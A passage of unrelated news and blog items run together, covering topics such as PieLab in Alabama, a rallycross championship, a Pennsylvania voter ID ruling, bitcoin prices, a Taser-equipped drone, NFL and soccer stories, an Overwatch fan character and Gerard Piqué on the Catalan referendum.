cards with recipes for graduate-student fodder like tofu stroganoff. Gone, too, is the pie-only menu. PieLab now serves homemade biscuits at 7 in the morning to farmers and construction workers. In the afternoon, it sells butter-crusted quiches, piled with precut nubs of ham, to lunchtime tourists, drawn by glossy photos in magazines like Bon Appétit.  Advertisement Continue reading the main story  One recent morning, Melvin Webster, who is studying construction skills through YouthBuild while working on his G.E.D., drank coffee and talked of how he learned to blend pecan butter from cracked nuts for a HERO-sponsored initiative called Pecans! It was a task in which he seemed to take great pride. Across the counter, Sam Heartsill, a mother of two whose work at PieLab is financed in part by a federally subsidized employment program, drained a bottle of lemon-juice concentrate into homemade custard. At PieLab, both the food and the focus are still works in progress. Dorr leads the progress. As executive director of HERO, she has helped dozens of Hale County families move from busted trailers to tidy bungalows. Now, in her work with PieLab, she has proposed courses for young cooks to learn about the virtues of local produce and traditional techniques. And she holds hospitality classes for those aspiring to careers in the food industry.  When Dorr talks about PieLab, she typically drops the word “lab” and the baggage associated with it. As in, “Let’s go down to Pie and get a slice.” Or, “Modern Woodmen of America are having their lunch meeting at Pie.” Or, “Let’s go see what the girls are up to down at Pie.”  “It began as cool place to drink coffee and eat pie,” she said between bites of a blueberry-and-cream-cheese pastry cup. “Now it has the chance to be more than that. It may not be as cool, but it’s a life-full place.”
-2014 Red Bull Global Rallycross champion Joni Wiman finally won his maiden Red Bull GRC Supercars final in Las Vegas as Scott Speed won his first championship crown.  Horrendous weather conditions effected the event with much of the field involved in incidents in the early heat races, notably Ken Block – who was looking for his third straight Las Vegas win. He had a heavy wreck in the first heat race, and although he managed to continue in the event, the early shunt appeared to end any hopes of a Vegas hat trick.  Steve Arpin and Speed shared the early heat wins. Speed’s victory in Heat 1B came in an event blighted by an early crash that wiped out Austin Dyne, Tanner Foust and David Higgins, who was unable to rejoin the race – a race which was eventually red flagged early due to heavy rain.  When the racing resumed, Nelson Piquet Jr. took first in heat 2A with the Olsbergs pairing of Sebastian Eriksson and Joni Wiman sweeping 2B.  Piquet looked set to back up his heat win with a victory in Semi Final A after holding off a charging Patrik Sandell at the start. However, it wasn’t Sandell which would snatch victory from the Brazilian, Joni Wiman moved up to first place with a move on the last lap of the race. Sandell eventually missed out on a top three and automatic transfer spot in the final as he ceded third to Steve Arpin, who battled back from a stop/go penalty, on the final lap.  Another driver who missed out on a chance to advance to the final despite being in a position to do so was Sverre Isachsen. The Subaru driver was running in third position until he made heavy contact with an outside wall.  In Semi Final B, Scott Speed used his front row start to his advantage to take an early lead. He was never troubled, taking the semi final win, giving himself pole position for the final. Sebastian Eriksson finished in second place with Foust clinging onto his slim championship hopes with a third place finish.  The Last Chance Qualifier saw Brian Deegan, Austin Dyne, Bucky Lasek and Ken Block advance to the final after an early race red flag which was the result of a first lap incident involving Pat Moro and David Higgins as well as Dyne and Block.  In the final, Scott Speed only needed a top eight finish to clinch the title. Despite that, the former F1 driver launched into an early lead, although he didn’t keep it for long. Joni Wiman and Sebastian Eriksson soon got by Speed, who looked to be playing the conservative game with the championship on his mind.  Wiman and Eriksson held onto their 1-2 finish, Wiman taking the win by just under eight seconds at the checkered flag. Speed held onto third which was more than enough to secure the championship.  Steve Arpin finished the final in fourth place, ahead of Brian Deegan and Nelson Piquet Jr. Austin Dyne and Bucky Lasek were the last two drivers to finish on the lead lap.  Speed’s championship rival and Volkswagen Andretti Rallycross team mate Foust had his title hopes ended on lap one as he was forced into the wall at the first turn. He eventually finished in ninth, two laps down, ahead of only Ken Block who retired.  The final points standings see Scott Speed at the top of the table, 56 points ahead of Sebastian Eriksson who took fellow Daytona winner Foust’s runner-up spot thanks to his Vegas podium. Foust did manage finish in the top three however, 68 points back from Speed, with Nelson Piquet Jr. and Joni Wiman completing the top five.  In GRC Lites it was 16-year-old Oliver Eriksson who continued Olsberg’s domination of the category by taking the championship crown in his first season. He went in the final GRC Lites race second in the standings to team mate Austin Cindric but the American was involved in a first lap incident that took him out of the race, handing the title to Eriksson. The race win went to Alex Keyes.
-Judge halts Pennsylvania voter ID law  Scene from an NAACP rally against Pennsylvania's voter identification law. (Photo11: John C. Whitehead, AP)  A Pennsylvania judge is putting a halt to the state's new voter identification law, ordering today that it not be enforced for the presidential election just five weeks away.  The ruling by Commonwealth Court Judge Robert Simpson could be appealed to the state's Supreme Court. Simpson's ruling says the law -- requiring each voter to show a valid state-issued photo ID at the polls -- would be fully implemented next year.  Simpson's ruling means Pennsylvania voters will be asked to show photo ID, but can still vote if they don't do so. The same policy was in effect during the state's primary earlier this year.  The judge said during hearings last week that he was considering invalidating a part of the six-month-old law -- considered one of the toughest in the nation -- for the Nov. 6 election.  Democrats and their allies, such as the NAACP, have been opposed to the voter ID law, saying it would harm minorities and low-income voters. Republicans have praised the law as a way to reduce election fraud.  Pennsylvania, a swing state, has 20 electoral votes up for grabs. President Obama is leading statewide opinion polls by an average of 8 points, according to six recent surveys compiled by RealClearPolitics. Mitt Romney said during a recent campaign stop in Pennsylvania that he believes he can carry the state.  Simpson said today that he "expected more photo IDs to have been issued by this time. For this reason, I accept petitioners' argument that in the remaining five weeks before the general election, the gap between the photo IDs issued and the estimated need will not be closed."  Judith Browne Dianis, co-director of the Advancement Project, which challenged the law in court, hailed Simpson's ruling. "The evidence made it clear to the judge that this law would indeed disenfranchise voters and that the Commonwealth was not equipped to implement it fairly right now," she said in a statement.  Rob Gleason, chairman of the Pennsylvania Republican Party, said in a statement that he was "disappointed" by the ruling. "We shouldn't have to wait for this commonsense reform to be enacted," Gleason said. "With that being said, voter ID is still Pennsylvania law, was found to be constitutional and we will work to encourage voters to bring their photo identification with them to the polls."  (Contributiing: Associated Press)  Read or Share this story: http://usat.ly/SkNwll
-The price of the bitcoin (BTC/USD) cryptocurrency has galloped past $450, according to CryptoCoins News. The 52-week high bitcoin price is $462.99, which was observed in early December 2015. Activity among market participants over the past 24 hours has taken prices from the near-$430 level to volatile trade near $460.  In late 2013, the price of bitcoin skyrocketed to close to $1200 before quickly falling back to earth and bottoming near $210 in the summer of 2015. Through the fall of 2015, the price of bitcoin rallied, more than doubling from its low to sit at its current price of $462.27.  Bitcoin, after beginning to receive somewhat of a bad reputation due to its association with the now closed Silk Road online drug superstore run by Ross William Ulbricht, as reported by the Inquisitr, and failed bitcoin exchange, Mt. Gox, as reported by CoinBase, has some observers believing that, this time, its price move may have lasting power.  “This time bitcoin’s price increase is both logical and sustainable,” Martin Tillier with the NASDAQ wrote. “Whereas 2013’s spike was a mystery in many ways, this run up is happening for a recognizable, indeed even predictable reason.”  Tillier has speculated that with its relatively small market capitalization of near $7 billion, bitcoin may have been the target and unwitting victim of a Wall Street hedge fund with the resources to put a multi-billion dollar corner, or near-corner, on a market where such a thing was possible.  This time, bitcoin’s price advance may have more staying power. Over the past 30-day period, China’s contribution to the total number of bitcoin transactions was described as “creeping up” to 81 percent.  Early Thursday morning, the Chinese government devalued the national currency, the yuan, by 0.5 percent, according to Reuters. The move by the ruling communist party created the biggest fall permitted in the value of the yuan in over five months. The increased bitcoin activity among Chinese traders combined with the aggressive currency market intervention on the part of the government may be an indication of a source of the cryptocurrency’s relative price strength.  Bitcoin is also described as receiving “attention” from institutional Wall Street investors, with ETFs and derivatives based on underlying bitcoin holdings being traded, in addition to the currency itself.  The large swings in price that accompanied bitcoin in 2013 and 2014 that were cited as a reason that some merchants eschewed adopting it is seen as potentially diminishing as the future draws nearer. Tillier feels that because the advance in bitcoin price appears to be logical, the chance of a sharp sell-off following an inevitable top are less likely than more orderly trade, with gentle swings in price.  “Supporters of the digital currency should hope that this is the case from here on out, as a more predictable, less volatile price is essential if the number of merchants accepting bitcoin is to once again begin to increase, and that is what will drive sustained growth in price,” Tillier writes.  Expert predictions for how high the value of bitcoin could reach ranged between $500 and $100,000 in 2014, as reported by Founders Grid. Many of the experts questioned, such as the founder of the Bitcoin Association of Ireland, Alan Donohoe, believe that because a maximum number of bitcoins will exist at some point in the future — 21 million, which is quite a limited number, not nearly enough for every person on the planet to own one, and not even enough for every American. Some believe, as Donohoe does, that this scarcity will push the average price of bitcoin higher for many years to come.  Continued weakness in Chinese equity markets, followed by the Hang Seng (^HSI) and SSE Comp (000001.ss), on Friday has the potential to add further buying pressure to bitcoin prices.  [Photo by Sean Gallup/Getty Images]
-A Texas firm recently unveiled its new CUPID drone equipped with a Taser capable of delivering an 80,000-volt shock.  Austin-based Chaotic Moon Studios demonstrated its CUPID at the SXSW (South by Southwest) trade show in Austin on March 10. Billed as a “stun copter,” CUPID (Chaotic Unmanned Personal Intercept Drone) mounts its Taser on a remote controlled Tarot Hexacopter. (According to a description on the website hexacopter.us: “A hexacopter is a radio controlled flying machine similar to a helicopter but the hexacopter has six rotors mounted in an array instead of one and unlike the helicopter, it does not have a rudder.”)  Hexacopters have until now been equipped mostly with cameras designed for aerial photography. Paparazzi have been known to use drones to photograph celebrities! But Chaotic Moon Studios put a Phazzer Dragon “conductive energy weapon” (a generic “Taser,” which is a brand name of TASER International) into the drone helicopter to shoot electrified darts into its targets.  Chaotic said that CUPID could be used by law-enforcement personnel to apprehend fleeing suspects. It requires two operators, one to fly the copter and a second to fire the dart.  “The drone can be deployed when an alarm is triggered. It can find a subject and send live video to the owner's phone and ask if you want to authorize the subject or detain them. If you detain them, it drops into fully autonomous mode to detain them until police arrive. If need be stunning them with 80,000 volts of electricity to render them incapacitated,” said a statement from Chaotic.  Chaotic co-founder, William Hurley, was quoted by Fox News of Austin: “If you imagine a S.W.A.T. raid and people running, why send officers, with guns blazing, down an alley way where they can shoot and harm an innocent person or whatever, when you could just have the drone autonomously follow them.”  Hurley told Fox News that his firm has had lots of interest in CUPID from military and law-enforcement agencies.  “This is something that’s affordable for almost everybody and in the next two or three years the technology will probably cut in half, by price,” said Hurley. “Right now, the FAA just has some vague, basic rules around them.”  However, maintains Hurley, his firm’s demonstration of CUPID at SXSW was not intended to attract business because it has "no intention of commercializing it.”  When Fox News asked Hurley why his company built CUPID, if they have no intention of producing it commercially, he replied: “I think that’s hopefully, a wake-up call. We, as a society, should all be involved in the conversation of technology governance, not just the legislators who often do a knee jerk reaction, or the inventors and entrepreneurs who often don’t think about some of the consequences of their technologies.”  If Hurley’s firm invented CUPID merely to demonstrate how it might be abused, and expect that its demonstration might lead to greater restrictions on drone use, that is an overly idealist expectation. Why does he think that the military and law-enforcement agencies have expressed interest in CUPID, if not to use it?  An article in Popular Mechanics noted that CUPID is made from many commonly available parts already used by hobbyists and that Hurley admitted that knowledgeable people could probably figure out how his team built the stun-gun-equipped copter. So although Chaotic Moon is not releasing the drone’s blueprint to the public, copycat versions could easily emerge.  Davey Alba, who wrote the Popular Mechanics report, appeared to be a little perplexed by Hurley’s inconsistent statements:  Hurley says he wants the project to raise awareness about what some hyped technologies — like drones — can actually accomplish in the real world, and to start realistic discussions about public response to technology and regulation. It certainly got people talking at SXSW, but the specifics of the discourse he wanted to spark seemed a little vague to me.  CUPID is a relatively simple device compared to some drones that our military already has produced. For example, in an article published by The New American last May, we learned that the Navy launched a prototype X-47B drone from the deck of the aircraft carrier U.S.S. George H.W. Bush. Two months later, the Navy reported that an X-47B had landed on the same ship on July 10, being “the first time a tailless, unmanned autonomous aircraft landed on a modern aircraft carrier.”  What also made the X-47B unique is the fact that it is not only unmanned, but unpiloted — it uses a pre-programmed algorithm and GPS data.  “The Navy’s model is different from the Air Force’s,” said Rear Admiral Ted Branch, the commander of Naval Air Forces Atlantic. “We don’t have someone actively flying this machine with a stick and a throttle. We fly it with a mouse and a keyboard.”  Of course, technology can be used in ways that are beneficial or harmful, the distinction often being determined by whether the party using it has secured legitimate authority. This may be a congressional declaration of war, if its use is by the military. Or it may mean getting a search warrant, if it is used for surveillance of civilians.  The absence of such authority is always problematic. When our government uses drones to strike targets within sovereign nations with which we are not engaged in a declared war, resentment and blowback against us always ensues. This has been the case in Pakistan, where Prime Minister Nawaz Sharif shortly after his election last year charged that the United States was violating the sovereignty of Pakistan by ordering deadly drone missions without the approval of Islamabad. “Drones indeed are challenging our sovereignty,” said Sharif. “I think this is a very serious issue, and our concern must be understood properly.”  Drones can also be misused in actions against Americans. This usage represents such a grave threat to our citizens’ privacy, that the Utah Senate voted 23-0 on March 4 to approve a bill restricting law enforcement’s use of unmanned aerial systems. Among other restrictions, the bill requires law enforcement to obtain a warrant before using a drone.  While it is uncertain whether it was Chaotic Moon Studios’ intention to draw attention to potential misuse of drone technology by demonstrating its CUPID system, the publicity should serve to awaken Americans to exactly how invasive such technology can become.  Related articles:  Border Patrol Loaning Predator Drones to Military, State, and Local Police  As Drone Tech Improves, Blowback From Drone-targeted Nations Worsens  Senate Subcommittee Hears Harrowing Story of Drone War in Yemen  Obama Administration Tries To Justify Proliferating Drone Strike  Drone Strike in Yemen Kills Five  Drone Operators Feeling the Effects of Carrying Out Kill Orders  State Legislatures Pass Bills Limiting Domestic Drone Use  The Thistle and the Drone: The Real Story Behind the War on Terror  U.S. Drone Strike "Mistakenly" Murders 15 Wedding Guests in Yemen  Obama Orders Drone Strikes, Killing of 6 "Suspected Militants" in Yemen  AG Holder Acknowledges Drone Killings of Four U.S. Citizen  Does Pres. Obama Commit War Crimes in Ordering Drone Strikes?  U.S. Begins Drone Strikes in Somalia  First Man Arrested By Aid of Drone Convicted in North Dakota  Obama Considers Killing American with Drone  U.S. Commits to Dial Down Drone Strikes in Pakistan  Utah Legislature Sends Drone Surveillance Nullifying Bill to Governor  Pakistan’s Sharif Asks Obama to End Drone Strikes  Domestic Drone Launch Date Approaches; Drones to Be Autonomous  Military and Police Drones Exempted From New Texas Drone Law  Pakistani PM Accuses His Own Military of Deadly Collusion With CIA
-ESPN has been handing out their NFL offseason grades over the past week, and no one was given more praise than the Indianapolis Colts.  ESPN writer Bill Barnwell authored a lengthy recap for each of NFL teams and at the end assigned each team a grade. The Colts were given an A-minus, which was the highest grade of any team.  Barnwell liked the first big move the Colts made over the offseason, which was to bring in Chris Ballard as general manager after firing Ryan Grigson.  "It's hard to think of an NFL general manager who did less with more than Grigson," wrote Barnwell, "who had Andrew Luck fall into his lap with the first pick in his first draft and spent most of the next five years putting obstacles in the QB's way... Ballard's first offseason with the team has been very promising, both in terms of attacking weaknesses and identifying value within the market."  On that note, Barnwell liked what Ballard did in free agency. Not only did Ballard go heavy on defense in free agency, he did so without tying up much guaranteed money in the long-term.  "The Colts have brought in a ton of young, short-term defensive help with upside in what will be an evaluation year," wrote Barnewell. "Grigson made some moves like this early in his tenure with Indy, targeting players like Greg Toler and Ricky Jean-Francois, but they were on far larger deals and expected to be long-term starters at their positions. With the sort of contracts Ballard is handing out, the guys who stick will be under contract for a couple of more seasons, while the ones who don't will be giving way to a more sustainable defensive model."  Barnwell also liked the decision to go heavy on defense in the draft.  "No draft strategy is foolproof," Barnwell wrote. "These guys may not work out. Chuck Pagano hasn't done a great job of bringing along young defensive talent in Indy, and this new batch of defenders could fall victim to the same fate. As a coherent plan, though, what Indianapolis did this offseason made a ton of sense."  If there was a flaw in the Colts offseason for Barnwell, it's the same that several other analysts have mentioned -- the lack of help added on the offensive line. Even if the offensive line showed some improvement towards the end of the 2016 season, Barnwell would have liked to have seen them spend some money on more right side help.  "This wasn't a great draft for offensive linemen, and the cost of signing linemen in free agency was exorbitant this offseason, but the Colts may regret not making one big splash to upgrade the right side in front of Luck," wrote Barnwell.  Ultimately Ballard will be judged by how his offseason efforts translate to the field, of course. If the defensive acquisitions wind up being disappointing and the offensive line turns out to be a problem, there will probably be some criticism thrown his way. On paper though, the Colts got a lot right this offseason. The defense may not prove to be where they want it to be, but the first step in rebuilding the unit was completed, and that was to get younger, deeper and more athletic. If the free agent signings don't work out, the contracts the Colts handed out will allow them to move on fairly easily. And Ballard stuck to his mantra of competition on the offensive side of the ball as well, adding players who could at least turn out to be key depth pieces in WR Kamar Aiken, OL Brian Schwenke, OT Zach Banner, and RB Marlon Mack.  The Colts made some big steps this offseason, and the team looks much different as a result. We'll find out soon enough if those steps lead to success on the field in 2017, but for now, the team is decidedly moving in a new direction that is widely perceived to be positive.  Click here to read Barnwell's full analysis at ESPN.
-Yes I'm apart of the Overwatch bandwagon now! I am in love with all the characters and wanted to make my own! Since I am a writer and not a drawer I obviously went to my good friend to help bring my ideas and design to reality. She literally went to hell and back trying to draw this lmao Again pleeaaasssseeee go check out her page! she's an amazing artist. Her full lore, personality, and inspirations are below. This was just a fun thing I wanted to do quickly to take my mind off school and stuff. If you have any questions about her please feel free to askLore: Dorothea Giannidis grew up in a wealthy life and only lived with her father in addition to various omnic butlers and maids. Her father, Hugo Giannidis, worked for Overwatch as a scientist and he was revered in his work with Mercy and her healing technology. When the topic of using the healing tech in unethical ways came about, Hugo supported the idea which caused strife between Mercy and him. He went behind her back and started selling the tech for profit. He was exposed and excommunicated from Overwatch and had a warrant for his arrest out. He went into hiding and changed his last name but when Overwatch disbanded, he could sell his tech without opposition and became insanely wealthy. Dorothea disputed with her father a lot because of her fiery nature and often wandered off most of the time. She wanted to explore the world but because of her family's deeds, her father kept her on tight lockdown in their hometown of Illios, Greece. One day, she came back to her family home to see all of her friends(butlers and maids) destroyed and a T insignia spraypainted on the wall. She searched for her dad but could not find him. This caused her to start her journey of finding out what happened to her father. She stole various techs from her father's lab and began her quest. Along the way she saved a puppy from a fighting ring in Dorado and trained her to help her on her journey.Personality: Hecate loves to perform and is very lively and theatrical on stage. She often transfers this energy into her off-stage personality and is very dramatic in her ways. She's warm and kind with all of her fans and puts on free shows for them from time to time. Because of her rich upbringing, Hecate can be vain and cares about her appearance and social status. She can also be stubborn, hotheaded, and prideful often rushing actions without thinking. She is driven by her need to learn the truth about her family history, TALON, and her father. Hecuba is fierce and vicious on the battlefield but dopey, dumb, and cuddly outside of it.Gameplay: Her primary role is to support allies and debuff enemies. She should be in the fray do to her close range healing and close/mid range primary fire.Strengths- Great AOE abilities, does good damage, high utility, good sustainabilityWeaknesses- low mobility, inconsistent escape, long-ranged heroes,IdeasHighlight Intros:Good Girl- Hecuba runs up to Hecate and licks her face repeatedly causing Hecate to laugh.Easy as 1, 2, 3- Hecate summons her two illusions and does a variety of cute poses with themAbracadabra- Hecate performs her ult on Hecuba and rides on top of him as they rush towards the camera.Skins:Hecate as Queen of the Underworld and Hecuba as CerberusFashion Forward- Hecate and Hecuba in fashionable outfitsSummer Games-Synchronized Swimming outifits with HecubaHalloween- Hecate as Medusa and Hecuba as a stone GargoyleChristmas- Hecate as a Snow Queen and Hecuba as a Winter WolfInspirations:Greek Goddess Hecate, Mismagius, Little Witch Academia, Tangled Floating Lanterns, The Sun,
-Arsene Wenger has explained why he does not delay loan moves until after Arsenal’s Capital One Cup campaign.  The Gunners currently have 11 players gaining further first-team experience at teams in the Premier League, Championship, League One and abroad.  Some would otherwise have played in Tuesday night's League Cup tie at Sheffield Wednesday, but Wenger has no regrets at letting them go.  Login or register to play video 09:37 Sheffield Wednesday (a) - Highlights  “I think we were a bit punished by the fact we had many players out on loan, but it's difficult to block them until November and not let them go just because you have a League Cup game,” he told Arsenal Player.  “So this season, for example, I had many players go who would have played on Tuesday night like Chuba, Gedion, Maitland-Niles, Dan Crowley - they would all have played. But I think about the development of the player and they are at an age where they need competition.  “We play them early so they arrive [in the squad] at the age of 19 and they've already played two or three years in the under-21s. You don't feel they move forward anymore, they need something different, to feel that their progress continues.  “The only thing is to play regularly for a first team that has a responsibility for results.”
-A Virginia man smuggling a quarter of a million dollars' worth of heroin blew his cover making up the world's dumbest alibi.  Jefferson County police pulled a 64-year-old man over for an obscured license plate on the man's GMC SUV on Monday night. The responding officer noticed the man appeared "extremely nervous" and asked him where he was going.  The man said he was on his way to Houston to visit with a sick elderly friend — in a children's hospital. Apparently the first place he could think ofwhen officers asked him where his friend had been hospitalized was Texas Children's Hospital.  Officers then asked to search the car and quickly found a satchel in the back seat with $250,000 worth of heroin wrapped in bundles.  He's being held on $100,000 bail.  [image via Shutterstock]
-Despite the Italian judicial system finding Amanda Knox guilty of murder twice and requesting her extradition from the US, the convicted murderer is currently a freelance journalist for her neighbourhood's daily, West Seattle Herald.  It doesn't matter what people say or think—the truth is that she's a West Seattle resident, she grew up here. Why not give her the opportunity to be an actual human being versus a celebrity? - Patrick Robinson, Web Editor, West Seattle Herald  According to the Daily Beast, Knox was presented with the job not because The Herald wanted to use her notorious status but rather to give her the opportunity to lead a normal life.  "We approached her originally to give her the opportunity of a normal life," said Patrick Robinson, web editor for The Herald.  "We simply asked her as we would ask anyone of that age and stage, if they would be interested in writing for us as a qualified writer of that scale and this level of journalism."  Knox had initially preferred to freelance using a pen name, which the paper had permitted her to do.  "That was purposely to give her the protection of that and to give her the opportunity. She showed us writing samples and they were good," said Robinson.  Knox soon began writing under her own name after she "got her feet wet," and is covering a variety of news from human interest stories to local theatre.  "Amanda's a very bright, very capable, highly qualified writer. She's certainly been through a lot and been very easy to work with and very interested and eager in doing stories," added Robinson.  Knox has also signed a book deal in 2012 for an estimated $4m and a movie based on the book is in the works with Kate Beckinsale in the lead.  The murder  Knox was studying writing in Italy when she was found to be a murder suspect in the death of her roommate Meredith Kercher in 2007.  Both Knox and her boyfriend Raffaele Sollecito were found guilty of murder in 2009, and the duo spent four years in prison before being acquitted in 2011 after independent experts put the evidence against them in doubt.  Knox returned to the US shortly after. However, a court upheld the 2009 guilty verdict in January 2014, sentencing Knox and Sollecito to over 25 years.  Knox has still not been extradited back to Italy as the case is being appealed.  Robinson says The Herald was aware of the negativity that was attached to Knox and hired her with a "note of caution,".  "It doesn't matter what people say or think—the truth is that she's a West Seattle resident, she grew up here. Why not give her the opportunity to be an actual human being versus a celebrity?" he added.  According to Robinson, all meetings with Knox are held privately though, "she's not hiding."
-The Barcelona and Spain defender talks eloquently about the Catalan referendum and says he is not retiring from international football because that would give satisfaction to the people who ‘whistle and insult’  Gerard Piqué has admitted he considered leaving the Spain team after he was whistled and verbally abused by supporters at a training session on Monday but insisted he would not give those fans satisfaction by walking away. The Barcelona defender appealed for respect and dialogue in the wake of Sunday’s Catalan referendum as the political situation grows increasingly tense. He also refused to reveal whether he had voted yes, describing that as the “$1m question”, but did dismiss the popular assumption that he is in favour of independence.  Gerard Piqué jeered by spectators at Spain’s World Cup training session Read more  Barcelona played behind closed doors on Sunday in protest at the conduct of Spanish police in trying to prevent Catalonia holding a referendum that the central government and constitutional courts declared illegal. As images of violence emerged, Barcelona asked for the game against Las Palmas to be postponed, opting to play in an empty stadium when the request was denied. Afterwards Piqué, visibly affected and close to tears, criticised the Spanish government and reaffirmed his long-standing public support for the Catalans’ right to vote. He said he felt Catalan and offered to step down from international duty if the coach, Julen Lopetegui, wanted him to.  The following evening, with political positions increasingly entrenched, supporters gathered for the evening session at the Spanish Football Federation’s Las Rozas headquarters. Piqué has been whistled playing for Spain before but he admitted he had not expected the intensity of what awaited him on Monday. Some carried banners demanding he leave the national team. There were reports that his relationship with the captain, Sergio Ramos, had broken down and worse is expected when Spain play Albania in Alicante on Friday. The situation appeared to have become unsustainable.  Piqué, who said he had decided to speak because he wanted to find a solution and because it was not fair on his team-mates who have grown “tired” of the issue to have to face endless questions about him, said that it “hurt” that people questioned his commitment to the national team. He said he had thought about departing in the wake of the referendum, but also that he had thought about continuing after 2018 – the date he had previously set for his international departure. “I don’t want to leave out the back door,” he said.  Play Video 1:24 Emotional Piqué offers to end Spain career after Catalonia violence – video  “From the age of 15 I have considered this a family: that’s one of the reasons I’m here,” Piqué said. “My commitment to the national team is maximum. I feel very proud to be here. I have thought about [leaving] and I think the best thing is to stay. Going would mean that those people have won, those who think the best solution is to whistle and insult. I’m not going to give them that satisfaction.  “There are lots of people who want me to stay. If you talk, you can reach an understanding. I am sure that if I sat down with them all, it would be different. There are people in Spain whose positions are very diverse and if you talk, you can find a solution. I’d like people to listen and think: ‘What he says is reasonable.’ And the Sergio Ramos thing is a myth. I’ve said it 15,000 times: we get on fantastically well. In fact we’re going to go into business together.  “Politics is a drag, but why shouldn’t I express myself? I understand those players who don’t want to say anything. We’re footballers but we’re people too. Why can a journalist or a mechanic express themselves but not a footballer?”  Piqué insisted his politics were not incompatible with the national team. He reiterated that he has “never” declared for independence. Indeed, the way he returned to the theme and framed his argument implied he does not support separatism. He agreed when it was put to him that Spain and Catalonia would be weaker in the case of independence; argued that the “world is so connected that countries are the least important thing”; and described his family as “Colombian, Lebanese, Catalan and Spanish”.  Asked if his Catalan sentiment meant that he should not play for the national team, he replied: “No. And I would take it even further than that – and this is not the case with me – I would say that even a supporter of independence could play for Spain. There is no other national team and they’re not against Spain. Spain is a country that’s the hostia [the business] and the people are de puta madre [bloody brilliant], so why not play for Spain? I repeat: it’s not the case with me. But why not? We reduce it to sentiment, but we’re here to help Spain win.”  Chelsea optimistic Álvaro Morata injury is not as severe as Spain fear Read more  “I am in favour of people voting. They can vote yes, no, or abstain,” he said. “I’m not on the front line. I don’t think I have ever positioned myself on one side of another. And my opinion is not so important. I have never fought tooth and nail to defend a particular side. Some say there should be independence, some say there should be a vote, some say there should be nothing. All three points of view are licit. There are lots of people in Spain that support Catalans voting. There were demonstrations in Madrid and Seville.”  When it came to direct questions, Piqué avoided a direct answer. How had he voted, he was asked. “That’s the $1m question,” he said. “I can’t give an answer on that. I can’t back one side or the other: I would lose half of my supporters.”  And who would he choose to play for if Catalonia did get independence, he was asked.? “I imagine it would be a process of three or four years, like Brexit,” he said. “I’ll be 33, so I haven’t really thought about it.”  Piqué said he had not seen King Felipe’s speech the previous night accusing the Catalan authorities of attempting to break the unity of Spain the previous night before because he was playing cards but said people in Catalonia would have liked a more conciliatory message and he appealed for dialogue. “Spain has a history that goes back I-don’t-know-how-many years, and there is a part that wants to go. That’s way more important than what I think.”
-Ten Squads, Ten Stories is a series that concentrates on one team in the National Women’s Soccer League (NWSL), and highlights a player or theme. This installment features Chicago Red Stars players Arin Gilliland and Courtney Raetzman, University of Kentucky alumnae playing together again the professional level.  “We just get along really well and I’m enjoying the experience playing with her again.” — Courtney Raetzman  “If you want to be a pro, there’s a level of work and a level of attention to detail that is involved. I’m going to help you get there but you are really going to need to focus on being your best,” Jon Lipsitz, head women’s soccer coach at the University of Kentucky said.  “And it can’t be just about the three, four months of the college season. If you want to be a pro, you have got to act like that and train like that on a year-round cycle. It doesn’t mean you have to be your best every day, there’s always ups and downs, but you have got to be training at that level. And we are excited that is something that we are creating here at Kentucky.“  Lipsitz has been creating that atmosphere in Lexington since he took over the head coaching position prior to the 2009 women’s soccer season at the University of Kentucky. His job was to establish the program as a women’s soccer power, as well as create an environment in which players build and grow to their maximum potential. It’s paid off — the Wildcats have appeared in the SEC tournament in the past six seasons and qualified for the NCAA Tournament in four of the past five seasons.  Out of that success, Kentucky is seeing players make the jump from the college game to the professional ranks. Two such players are Arin Gilliland and Courtney Raetzman, who are teammates once again in Chicago after playing together at Kentucky for three seasons (2012–2014).  Gilliland, now in her second year with the Red Stars, and a two-time All-American in college, credited the way the Kentucky program has established itself as a strong program and was surrounded by great players, which helped her improve to get to the next level.  “Starting in the class in front of me, there were girls who had that drive and could have played at bigger schools but wanted to play at Kentucky and build the program, and that was exactly what I wanted to do.”  “When you have that, your team starts to get better and go farther. Like making the NCAA Tournament, and making the second round, and third round. I think people took notice of that and realized like ‘Oh, wow, where did Kentucky come from? I want to go there.’ and then that’s when we started getting real quality into our program.”  Growing, Learning, and Taking the Next Step  “I thought that one of the things that I saw [Arin] do is that she is a very quick learner about what she needs to do to be successful,” said Lipsitz. “When she meets new challenges and scenarios, she quickly learns and uses her strengths.”  Gilliland said she played almost every position during her four years at Kentucky, from target striker to outside back. Developing the skills necessary to be an all-around player while in college is one reason Gilliland feels she’s had a successful start to her professional career.  Whether it was the one year where she led the team in shots (100) and assists (10) in 2013 or goals (14) in 2014 or helping the defense pick up clean sheets as a defender, she did a little bit of everything for the team.  “I played almost every position while at Kentucky and I think that is one of the best things that could have happened to me because I got better well-rounded,” she said. “I carved myself to be able to do every trait there is and maybe I’m not the best at every trait, but at least I can do all of them. So I think that was the best thing that he taught me while I was there.”  Unlike Gilliland, who played all over the field, Courtney Raetzman filled a different role on the field for Lipsitz. After making the transition to the college game and recovering from a medial collateral ligament injury in her sophomore year, she made the move to a deeper-lying position in the midfield the following season.  It was when the midfield move happened that Lipsitz saw Raetzman’s drive and will and knew she had what it takes to transition to the professional level.  “There are some players that you have to coach and make sure they do see what they need to work on,” he said. “Courtney is the opposite. You need to say to her, ‘Actually, you played really well,’ but she would come to me and say that ‘But remember in the 42nd minute that the touch I had wasn’t smart.’ That’s how she is.”  “And so what I started noticing was that she was becoming a student of the game, was asking me who to watch online, and what videos to look at. When you take her incredible intensity and intelligence on the field and her training work ethic, and then you add that piece, which is that film study, that’s when I realized that she knows that [becoming a professional] could happen and she is going to go for it.”  Raetzman’s tireless work ethic dates back to her younger days. She’s always wanted to do her best, work hard, and be the ultimate team player. At Kentucky she was surrounded by players who worked with that same mentality, which ultimately pushed her to work harder.  “I had Jon as a coach and I was playing with quality players as well,” Raetzman said. “I think that’s always been in me with wanting to do well in school as I had my sights on trying to play after school as well. I just always wanted to learn more and become a better player, and I knew that it was going to take work rather than just showing up every day.”  “So I knew I had to do extra work to do those things and a lot coaches always said to study film and to watch other players. So I definitely noted that.”  Landing Together In the Windy City  After Gilliland was selected in the first round of the 2015 NWSL Draft by the Red Stars, she put together a very strong rookie campaign en route to being named to the All-NWSL Second Team. She started in 17 of the 19 games she played in during the regular season and chipped in a pair of assists and started in the semifinal against FC Kansas City.  While Gilliland was enjoying her rookie season in Chicago, Raetzman was having a standout senior season at Kentucky. She was named to the All-SEC First Team and started all 20 of her team’s matches, adding her name to the pool of possible NWSL draft picks.  The Red Stars already have a duo who share an alma mater in Julie Johnston and Sofia Huerta, both of whom attended Santa Clara (Huerta finished school one year after Johnston). And with Raetzman being a Chicagoland native, the 